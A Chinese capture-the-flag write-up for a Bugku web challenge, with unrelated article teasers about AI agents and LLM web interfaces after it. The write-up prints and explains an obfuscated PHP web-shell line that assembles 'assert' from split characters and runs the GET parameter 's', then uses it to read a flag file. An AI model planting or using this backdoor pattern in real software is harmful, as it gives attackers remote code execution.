Bugku-web(shell,成绩查询)

Bugku-web(shell,成绩查询)

WriteUp1

题目信息

解题思路

打开页面,发现一片空白

观察题目中的描述

$poc="a#s#s#e#r#t";  # 定义一串字符串 $poc_1=explode("#",$poc); # explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"] $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 拼接后 assert $poc_2($_GET['s']) # assert($_GET['s'])

看到是get请求,说明可以在url中传递参数s

得到

分别为flaga15808abee46a1d5.txt和index.php

直接查看flaga15808abee46a1d5.txt即可

得到

Read more

打造你的家庭 AI 助手(四):单 OpenClaw 配置多 Agent、多 QQ、飞书机器人

打造你的家庭 AI 助手(四):单 OpenClaw 配置多 Agent、多 QQ、飞书机器人

打造你的家庭 AI 助手(四):单 OpenClaw 配置多 Agent、多 QQ、飞书机器人 引言 OpenClaw 是一个强大的智能体(Agent)编排框架,它通过统一的架构让开发者可以轻松管理多个聊天机器人,并接入不同的即时通讯平台。在实际应用中,我们往往需要同时运行多个 QQ 机器人(例如个人助手、工作助手),甚至希望同一个智能体既能处理 QQ 消息,也能响应飞书消息。 本文将详细介绍如何在一个 OpenClaw 实例中配置多通道(QQ、飞书)、多 Agent 以及多 QQ 机器人账号,实现资源的高效利用和灵活的消息路由。特别地,我们将阐明飞书通道与 QQ 通道在绑定规则上的差异,避免常见的配置错误。 核心概念回顾 * Agent(智能体):拥有独立人格、记忆和技能的对话单元。每个

7个用于运行LLM的最佳开源WebUI

7个用于运行LLM的最佳开源WebUI

无论是希望将AI大模型集成到业务流程中,还是寻求企业客户服务自动化,亦或者是希望创建一个强大的个人学习工具。可能都需要考虑数据安全、灵活度以及更具有可控性的使用和开发基础。值得考虑的一个方案是:将大模型(LLM)私有化并且创建一个好用的LLM WebUI系统。 下面,我们推荐7个出色的开源LLM WebUI 系统。 01.Open WebUI(Ollama WebUI) https://github.com/open-webui/open-webui Star:45.7K 开发语言:Python、TypeScript\Svelte Open WebUI是一个可扩展、功能丰富且用户友好的WebUI,旨在完全离线操作。它支持包括Ollama和OpenAI在内的各种LLM运行容器或者API。 产品特点: * 直观的界面:受ChatGPT启发的用户友好型聊天 * 响应式设计:在桌面和移动的上实现流畅的性能 * 轻松安装:使用Docker/Kubernetes轻松安装 * 主题定制:个性化与多个主题 * 高亮:增强代码的可读性 * Markdown LaTeX支持:

AI Agent Skill Day 12:Web Search技能:互联网搜索与信息聚合

【AI Agent Skill Day 12】Web Search技能:互联网搜索与信息聚合 在“AI Agent Skill技能开发实战”系列的第12天,我们聚焦于Web Search技能——这一使Agent具备实时获取互联网公开信息能力的核心模块。随着大模型知识存在时效性限制(如训练数据截止至2023年或2024年),仅依赖内部知识库难以应对动态世界中的最新事件、股价、新闻、产品发布等需求。Web Search技能通过集成搜索引擎API(如SerpAPI、Google Programmable Search Engine、DuckDuckGo等),实现对网络信息的精准检索、结果聚合与语义提炼,是构建“活Agent”的关键一环。本技能广泛应用于智能客服、市场情报分析、科研辅助、金融舆情监控等场景,显著提升Agent的信息鲜度与决策质量。 技能概述 Web Search技能是指AI Agent在接收到用户查询后,自动调用外部搜索引擎接口,获取相关网页摘要、链接及结构化信息,并将结果进行清洗、去重、排序和语义压缩后返回给大模型,

StructBERT WebUI定制开发:情感分析交互界面实战

StructBERT WebUI定制开发:情感分析交互界面实战 1. 背景与需求:中文情感分析的工程落地挑战 在自然语言处理(NLP)的实际应用中,中文情感分析是企业级AI服务中最常见的需求之一。无论是电商平台的用户评论、社交媒体舆情监控,还是客服系统的自动响应,都需要快速准确地识别文本中的情绪倾向——正面或负面。 然而,在真实项目中,我们常面临以下问题: - 预训练模型部署复杂,依赖冲突频发 - 缺乏直观的交互界面,难以供非技术人员使用 - GPU资源依赖高,CPU环境下推理效率低下 - API接口不标准,难与前端系统集成 为解决这些问题,本文将带你深入一个基于 StructBERT 中文情感分类模型 的轻量级服务化实践案例,重点讲解如何通过 WebUI + REST API 双模式设计,实现开箱即用的情感分析系统。 2. 技术选型与架构设计 2.1 为什么选择 StructBERT? StructBERT 是阿里云 ModelScope